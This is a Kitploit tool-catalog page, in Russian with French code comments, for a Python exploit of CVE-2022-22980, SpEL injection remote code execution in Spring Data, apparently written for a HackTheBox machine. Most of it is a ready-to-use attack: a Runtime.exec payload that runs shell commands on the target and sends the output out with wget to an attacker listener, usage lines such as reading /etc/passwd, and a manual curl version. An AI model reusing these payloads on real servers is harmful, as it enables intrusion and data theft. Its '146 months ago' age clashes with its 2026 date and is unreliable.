Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-22980 — Эксплуатация CVE-2022-22980 | Kitploit
Инструменты/GitHubGitHub/eliasdekiniweek/cve-2022-22980
Генерация полезной нагрузкиЭксплуатацияЭксплуатация веб-приложенийCTFКомандование и УправлениеОбучение и Образование
GitHubeliasdekiniweek/cve-2022-22980

CVE-2022-22980

Эксплуатация CVE-2022-22980

Репозиторий
146 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Эксплойт SpEL RCE — CVE-2022-22980

Эксплойт для удалённого выполнения кода (RCE) в Spring Data через инъекцию SpEL (Spring Expression Language).

Описание

Уязвимость

Целевая машина предоставляет endpoint /search, который принимает параметр tracking_id, уязвимый к инъекции SpEL. Эта инъекция позволяет выполнять вредоносные Java-выражения непосредственно на сервере.

Принцип эксплуатации

  1. Внедрить SpEL-выражение, которое выполняет shell-команду через Runtime.getRuntime().exec()
  2. Закодировать вывод команды в base64
  3. Эксфильтровать результат через HTTP GET-запрос на контролируемый listener
  4. Декодировать и отобразить результат

Использование

Предварительные требования

  • Python 3.x со стандартными модулями (http.server, subprocess, threading, base64)
  • curl на вашей локальной машине
  • wget на целевой машине (для эксфильтрации)
  • Доступный порт 80 (или измените LPORT в скрипте)
  • Сетевой доступ к целевой машине

Конфигурация

Измените параметры в скрипте в соответствии с вашим окружением:

root@kitploit:~
TARGET = "http://<IP_CIBLE>:8080/search"   # URL de la cible
LHOST = "<VOTRE_IP>"                        # IP locale (tun0 pour HTB)
LPORT = 80                                  # Port d'écoute

Выполнение

root@kitploit:~
# Commande simple
python3 spel_shell.py "whoami"

# Commande avec pipe
python3 spel_shell.py "cat /etc/passwd"

# Énumération système
python3 spel_shell.py "uname -a"

# Vérifier l'accès réseau
python3 spel_shell.py "curl -s http://httpbin.org/get"

Пример вывода

root@kitploit:~
[*] Starting listener...
[*] Server listening on port 80
[*] Sending payload...
Payload: tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://10.10.14.5:80/{}"})
[*] Received data: cm9vdA==

[+] Command output:

root

Ручной payload (справочно)

Если вы хотите протестировать payload без скрипта:

root@kitploit:~
# Terminal 1 : Démarrer le listener
python3 -m http.server 80

# Terminal 2 : Envoyer la payload
curl -X POST \
  -d 'tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://<VOTRE_IP>:80/{}"})' \
  http://<IP_CIBLE>:8080/search

Устранение неполадок

Ошибка: «Address already in use»

Порт 80 занят. Решения:

root@kitploit:~
# Vérifier quel processus utilise le port
sudo netstat -tlnp | grep :80

# Arrêter Apache si actif
sudo systemctl stop apache2

# Ou utiliser un autre port
# Modifiez LPORT dans le script et testez

Нет ответа («No response received»)

  1. Проверьте сетевую связь: Убедитесь, что целевая машина может достичь вашего LHOST:LPORT
  2. Проверьте простой командой: python3 spel_shell.py "echo test"
  3. Проверьте права на порт: Порт 80 требует sudo в Linux
  4. Проверьте IP LHOST: Используйте ifconfig (tun0 для HTB), а не 127.0.0.1

Ошибка декодирования base64

Если вы видите «Raw data received» вместо «Command output», возможно, команда не выдала корректный вывод. Протестируйте команду, которая всегда выводит результат.

Архитектура скрипта

root@kitploit:~
1. start_server() - Lance un serveur HTTP sur le port 80
                   ↓
2. Envoie la payload SpEL via curl vers la cible
                   ↓
3. La cible exécute la commande et encode le résultat en base64
                   ↓
4. wget envoie le résultat vers le listener (GET http://LHOST:LPORT/<data>)
                   ↓
5. Le Handler reçoit la data et la stocke
                   ↓
6. Le script décode et affiche le résultat

Предупреждение

Этот скрипт предоставлен в образовательных целях для машин HackTheBox. Используйте его только в окружениях, на тестирование которых у вас есть разрешение.


Автор: Eliasdekiniweek Дата: февраль 2026
Язык: Python 3

Скачать инструмент